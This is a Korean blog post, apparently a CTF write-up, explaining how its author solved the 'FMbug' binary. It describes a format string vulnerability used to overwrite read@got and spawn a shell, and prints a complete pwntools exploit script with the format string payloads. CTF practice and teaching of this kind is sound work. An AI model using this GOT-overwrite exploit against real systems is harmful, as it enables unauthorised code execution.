-
0x28.BoB ctf - FMbug0x.CTF 2018. 12. 15. 19:56
파일 & 소스 : https://github.com/pwnwiz/CTF/tree/master/FMbug
플젝이 끝난 오늘, 자다가 팀원 한놈에게 전화를 받았는데 자꾸 디버거가 안붙는다고 도와달라고 해서 갑자기 받아서 테스트하다가 걍 푼 문제이다.
바이너리는 간단하다 seed를 v6에 저장하고 input을 3번받으며 find key이후 마지막으로 read로 입력을 받고 해당 값이 동일하면 system(/bin/sh)를 호출한다.
하지만 뭐 어셈단위로 보면 ctypes를 사용하여 추측을 해서 값을 때려넣어도 결국 lea와 mov로 값을 가져오기 때문에 해당 부분에 대한 변조만으로는 익스를 하기 어렵다. 그래서 포맷스트링 취약점이 있길래 그걸로 got overwrite를 하였다.
esp+4를 기준으로 메모리가 leak되기 때문에 70번째 위치인 0xffefa624부분을 read@got로 덮은 다음에 해당 값에 0x804871b 주소를 넣어서 쉘을 따는 방식을 사용하였다.
애초에 플래그를 모르기에 맘대로 만들었다 ㅋㅋ
익스플로잇 코드
from pwn import *
import ctypes
LIBC = ctypes.cdll.LoadLibrary('libc-2.23.so')
seed = LIBC.time(0)
LIBC.srand(seed)
v3 = LIBC.rand()
s = process('./FMbug')
s.recvuntil('input : ')
s.sendline('%134520844s%70$n')
s.recvuntil('input : ')
s.sendline('%134514459s%77$n')
s.recvuntil('input : ')
s.recv()
s.sendline('cat flag')
s.interactive()'0x.CTF' 카테고리의 다른 글
0x30.HITB-XCTF 2018 - gundam (0) 2019.04.17 0x29.CODEGATE 2017 - dart-master (0) 2018.12.27 0x27.Whitehat Quals 2017 - hacking_team_manager (0) 2018.11.29 0x26.WITHCON 2017 - combination (0) 2018.11.22 0x25.SSG - easy_linux_reversing (0) 2018.11.09 댓글